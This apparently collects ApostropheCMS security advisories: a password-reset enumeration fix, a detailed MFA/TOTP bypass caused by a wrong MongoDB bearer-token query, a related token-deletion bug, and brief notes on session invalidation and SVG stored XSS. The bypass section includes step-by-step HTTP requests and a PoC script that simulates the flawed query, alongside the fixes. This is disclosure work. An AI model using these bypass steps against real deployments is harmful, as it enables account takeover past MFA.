javascript async resetRequest(req) { const MINRESPONSETIME = 2000; const startTime = Date.now(); const site = (req.headers.host || '').replace(/:\d+$/, ''); const email = self.apos.launder.string(req.body.email); if (!email.length) { throw self.apos.error('invalid', req.t('apostrophe:loginResetEmailRequired')); } let user; try { user = await self.getPasswordResetUser(req.body.email); } catch (e) { self.apos.util.error(e); } if (!user) { self.apos.util.error( Reset password request error - the user ${email} doesn\t exist. ); } else if (!user.email) { self.apos.util.error( Reset password request error - the user ${user.username} doesn\t have an email. ); } else { const reset = self.apos.util.generateId(); user.passwordReset = reset; user.passwordResetAt = new Date(); await self.apos.user.update(req, user, { permissions: false }); let port = (req.headers.host || '').split(':')[1]; if (!port || [ '80', '443' ].includes(port)) { port = ''; } else { port = :${port}; } const parsed = new URL( req.absoluteUrl, self.apos.baseUrl ? undefined : ${req.protocol}://${req.hostname}${port} ); parsed.pathname = self.login(); parsed.search = '?'; parsed.searchParams.append('reset', reset); parsed.searchParams.append('email', user.email); try { await self.email(req, 'passwordResetEmail', { user, url: parsed.toString(), site }, { to: user.email, subject: req.t('apostrophe:passwordResetRequest', { site }) }); } catch (err) { self.apos.util.error(Error while sending email to ${user.email}, err); } } // Pad all paths to a constant minimum duration const elapsed = Date.now() - startTime; if (elapsed < MINRESPONSETIME) { await Promise.delay(MINRESPONSETIME - elapsed); } },
Additionally, consider applying rate limiting to the reset-request endpoint to prevent high-speed enumeration attempts.
MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware
Summary
The bearer token authentication middleware in @apostrophecms/express/index.js (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using @apostrophecms/login-totp or any custom afterPasswordVerified login requirement.
Severity
The AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.
Affected Versions
All versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with @apostrophecms/login-totp or any custom afterPasswordVerified requirement.
Root Cause
In packages/apostrophe/modules/@apostrophecms/express/index.js, the getBearer() function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the requirementsToVerify array is either absent (no MFA configured) or empty (all MFA requirements completed):
javascript async function getBearer() { const bearer = await self.apos.login.bearerTokens.findOne({ id: req.token, expires: { $gte: new Date() }, // requirementsToVerify array should be empty or inexistant // for the token to be usable to log in. $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $ne: [] } } // BUG ] }); return bearer && bearer.userId; }
The comment correctly states the intent: the array should be "empty or inexistant." However, the MongoDB operator $ne: [] matches documents where requirementsToVerify is NOT an empty array — meaning it matches tokens that still have unverified requirements. This is the exact opposite of the intended behavior.
| Token State | requirementsToVerify | $ne: [] result | Should match? | |---|---|---|---| | No MFA configured | (field absent) | N/A ($exists: false matches) | Yes | | TOTP pending | ["AposTotp"] | true (BUG!) | No | | All verified | [] | false (BUG!) | Yes | | Field removed ($unset) | (field absent) | N/A ($exists: false matches) | Yes |
Attack Scenario
Prerequisites - ApostropheCMS instance with @apostrophecms/login-totp enabled - Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach) - Attacker does NOT know the victim's TOTP secret/code
Steps
1. Authenticate with password only: POST /api/v1/@apostrophecms/login/login Content-Type: application/json
{"username": "admin", "password": "correctpassword", "session": false}
2. Receive incomplete token (server correctly requires TOTP): json {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}
3. Use incomplete token as bearer token (bypassing TOTP): GET /api/v1/@apostrophecms/page Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx
4. Full authenticated access granted. The bearer token middleware matches the token because requirementsToVerify: ["AposTotp"] satisfies $ne: []. The attacker has complete API access as the victim without ever providing a TOTP code.
Proof of Concept
See mfa-bypass-poc.js — demonstrates the query logic bug with all token states. Run:
bash #!/usr/bin/env node / PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js has a logic error in the MongoDB query that validates bearer tokens. The comment says: "requirementsToVerify array should be empty or inexistant for the token to be usable to log in." But the actual query uses $ne: [] (NOT equal to empty array), which matches tokens WITH unverified requirements — the exact opposite of the intended behavior. This allows an attacker who knows a user's password (but NOT their TOTP code) to use the "incompleteToken" returned after password verification as a fully authenticated bearer token, bypassing MFA. Affected: ApostropheCMS with @apostrophecms/login-totp (or any custom afterPasswordVerified requirement) File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389 /
const RED = '\x1b[91m'; const GREEN = '\x1b[92m'; const YELLOW = '\x1b[93m'; const CYAN = '\x1b[96m'; const RESET = '\x1b[0m'; const BOLD = '\x1b[1m';
// Simulate MongoDB's $ne operator behavior function mongoNe(fieldValue, compareValue) { // MongoDB $ne: true if field value is NOT equal to compareValue // For arrays, MongoDB compares by value if (Array.isArray(fieldValue) && Array.isArray(compareValue)) { if (fieldValue.length !== compareValue.length) return true; return fieldValue.some((v, i) => v !== compareValue[i]); } return fieldValue !== compareValue; }
// Simulate MongoDB's $exists operator function mongoExists(doc, field, shouldExist) { const exists = field in doc; return exists === shouldExist; }
// Simulate MongoDB's $size operator function mongoSize(fieldValue, size) { if (!Array.isArray(fieldValue)) return false; return fieldValue.length === size; }
// Simulate the VULNERABLE bearer token query (line 386-389) function vulnerableQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $ne: [] } } <-- BUG // ] const cond1 = mongoExists(token, 'requirementsToVerify', false); const cond2 = ('requirementsToVerify' in token) ? mongoNe(token.requirementsToVerify, []) : false; return cond1 || cond2; }
// Simulate the FIXED bearer token query function fixedQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $size: 0 } } <-- FIX // ] const cond1 = mongoExists(token, 'requirementsToVerify', false); const cond2 = ('requirementsToVerify' in token) ? mongoSize(token.requirementsToVerify, 0) : false; return cond1 || cond2; }
function banner() { console.log(${CYAN}${BOLD} ╔══════════════════════════════════════════════════════════════════╗ ║ ApostropheCMS MFA/TOTP Bypass PoC ║ ║ Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq) ║ ║ @apostrophecms/express/index.js:386-389 ║ ╚══════════════════════════════════════════════════════════════════╝${RESET} ); }
function test(name, token, expectedVuln, expectedFixed) { const vulnResult = vulnerableQuery(token); const fixedResult = fixedQuery(token);
const vulnCorrect = vulnResult === expectedVuln; const fixedCorrect = fixedResult === expectedFixed;
console.log(${BOLD}${name}${RESET}); console.log( Token: ${JSON.stringify(token)}); console.log( Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})); console.log( Fixed query matches: ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET}));
if (vulnResult && !fixedResult) { console.log( ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}); } console.log(); return vulnResult && !fixedResult; }
// ——— Main ——— banner(); const bypasses = [];
console.log(${BOLD}--- Token States During Login Flow ---${RESET}\n);
// 1. Normal bearer token (no MFA configured) // Created by initialLogin when there are no lateRequirements // Token: { id: "xxx", userId: "yyy", expires: Date } // No requirementsToVerify field at all test( '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED', { id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) }, true, // vulnerable: accepted (correct) true // fixed: accepted (correct) );
// 2. Incomplete token — password verified, TOTP NOT verified // Created by initialLogin when lateRequirements exist // Token: { id: "xxx", userId: "yyy", requirementsToVerify: ["AposTotp"], expires: Date } const bypass1 = test( '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED', { id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) }, true, // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp']) false // fixed: rejected (correct) ); if (bypass1) bypasses.push('TOTP bypass');
// 3. Token after all requirements verified (empty array, before $unset) // After requirementVerify pulls each requirement from the array // Token: { id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date } test( '[Token 3] All requirements verified (empty array) — should be ACCEPTED', { id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) }, false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match []) true // fixed: accepted (correct) );
// 4. Finalized token (requirementsToVerify removed via $unset) // After finalizeIncompleteLogin calls $unset // Token: { id: "xxx", userId: "yyy", expires: Date } test( '[Token 4] Finalized token ($unset completed) — should be ACCEPTED', { id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) }, true, // vulnerable: accepted (correct) true // fixed: accepted (correct) );
// 5. Multiple unverified requirements const bypass2 = test( '[Token 5] Multiple unverified requirements — should be REJECTED', { id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) }, true, // vulnerable: ACCEPTED (BUG!) false // fixed: rejected (correct) ); if (bypass2) bypasses.push('Multi-requirement bypass');
// Attack scenario console.log(${BOLD}--- Attack Scenario ---${RESET}\n); console.log( ${YELLOW}Prerequisites:${RESET}); console.log( - ApostropheCMS instance with @apostrophecms/login-totp enabled); console.log( - Attacker knows victim's username and password); console.log( - Attacker does NOT know victim's TOTP code\n);
console.log( ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials); console.log( POST /api/v1/@apostrophecms/login/login); console.log( {"username": "admin", "password": "correctpassword", "session": false}\n);
console.log( ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token); console.log( Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}); console.log( (TOTP verification still required)\n);
console.log( ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token); console.log( GET /api/v1/@apostrophecms/page); console.log( Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n);
console.log( ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query); console.log( MongoDB query: {); console.log( id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",); console.log( expires: { $gte: new Date() },); console.log( $or: [); console.log( { requirementsToVerify: { $exists: false } },); console.log( { requirementsToVerify: { ${RED}$ne: []${RESET} } } // BUG!); console.log( ]); console.log( }); console.log( The token has requirementsToVerify: ["AposTotp"]); console.log( $ne: [] matches because ["AposTotp"] !== []\n);
console.log( ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}); console.log( req.user is set, req.csrfExempt = true); console.log( Full API access without TOTP verification\n);
// Summary console.log(${BOLD}${'='.repeat(64)}); console.log(Summary); console.log(${'='.repeat(64)}${RESET}); console.log( ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n); console.log( ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388); console.log( The MongoDB query uses $ne: [] which matches NON-empty arrays.); console.log( The comment says the array should be "empty or inexistant",); console.log( but $ne: [] matches exactly the opposite — non-empty arrays.\n); console.log( ${YELLOW}Vulnerable code:${RESET}); console.log( $or: [); console.log( { requirementsToVerify: { $exists: false } },); console.log( { requirementsToVerify: { $ne: [] } } // BUG); console.log( ]\n); console.log( ${YELLOW}Fixed code:${RESET}); console.log( $or: [); console.log( { requirementsToVerify: { $exists: false } },); console.log( { requirementsToVerify: { $size: 0 } } // FIX); console.log( ]\n); console.log( ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's); console.log( password can skip TOTP verification and gain full authenticated); console.log( API access by using the incompleteToken as a bearer token.\n); console.log( ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary); console.log( issue where tokens with ALL requirements verified (empty array,); console.log( before the $unset runs) are incorrectly REJECTED. This is masked); console.log( by the fact that finalizeIncompleteLogin uses $unset to remove); console.log( the field entirely, so the $exists: false path is used instead.); console.log(); console.log();
Both bypass vectors (single and multiple unverified requirements) confirmed.
Amplifying Bug: Incorrect Token Deletion in finalizeIncompleteLogin
A second bug in @apostrophecms/login/index.js (lines 728-729, 735-736) amplifies the MFA bypass. When finalizeIncompleteLogin attempts to delete the incomplete token, it uses the wrong identifier:
javascript await self.bearerTokens.removeOne({ id: token.userId // BUG: should be token.id });
The token's id is a CUID (e.g., clxxxxxxxxx), but token.userId is the user's document ID. This means:
1. The incomplete token is never deleted from the database, even after a legitimate MFA-verified login 2. Combined with the $ne: [] bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour) 3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists
This bug appears at two locations in finalizeIncompleteLogin: - Line 728-729: Error case (user not found) - Line 735-736: Success case (session-based login after MFA)
Recommended Fix
Fix 1: Bearer token query (express/index.js line 388)
Replace $ne: [] with $size: 0:
javascript $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $size: 0 } } // FIX: match empty array only ]
This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.
Fix 2: Token deletion (login/index.js lines 728-729, 735-736)
Replace token.userId with token.id:
javascript await self.bearerTokens.removeOne({ id: token.id // FIX: use the token's actual ID });
Apostrophe CMS versions prior to 3.3.1 did not invalidate existing login sessions when disabling a user account or changing the password, creating a situation in which a device compromised by a third party could not be locked out by those means. As a mitigation for older releases the user account in question can be archived (3.x) or moved to the trash (2.x and earlier) which does disable the existing session.
Apostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once viewed.